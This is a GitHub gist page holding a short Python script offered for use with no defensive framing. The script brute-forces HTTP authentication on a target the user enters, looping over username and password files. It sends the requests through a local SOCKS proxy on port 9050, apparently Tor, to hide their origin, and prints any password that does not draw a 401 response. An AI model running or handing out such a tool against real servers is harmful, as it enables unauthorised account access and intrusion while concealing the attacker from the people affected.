Skip to content

Instantly share code, notes, and snippets.

@junquera
Created June 5, 2018 11:04
Show Gist options
  • Select an option

  • Save junquera/5fc1ab5bdfaede3b353f7fc973daf17c to your computer and use it in GitHub Desktop.

Select an option

Save junquera/5fc1ab5bdfaede3b353f7fc973daf17c to your computer and use it in GitHub Desktop.
import requests
import base64
destination = input('> ')
with open('users.txt', 'r') as f:
users = f.read().split('\n')
with open('passwords.txt', 'r') as f:
passwords = f.read().split('\n')
for user in users:
for passw in passwords:
auth = base64.b64encode(('%s:%s' % (user, passw)).encode()).decode()
r = requests.get('http://%s' % destination, proxies={'http': 'socks5://localhost:9050'}, headers={'Authorization': auth})
if 0 > r.text.find('401'):
print(passw)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment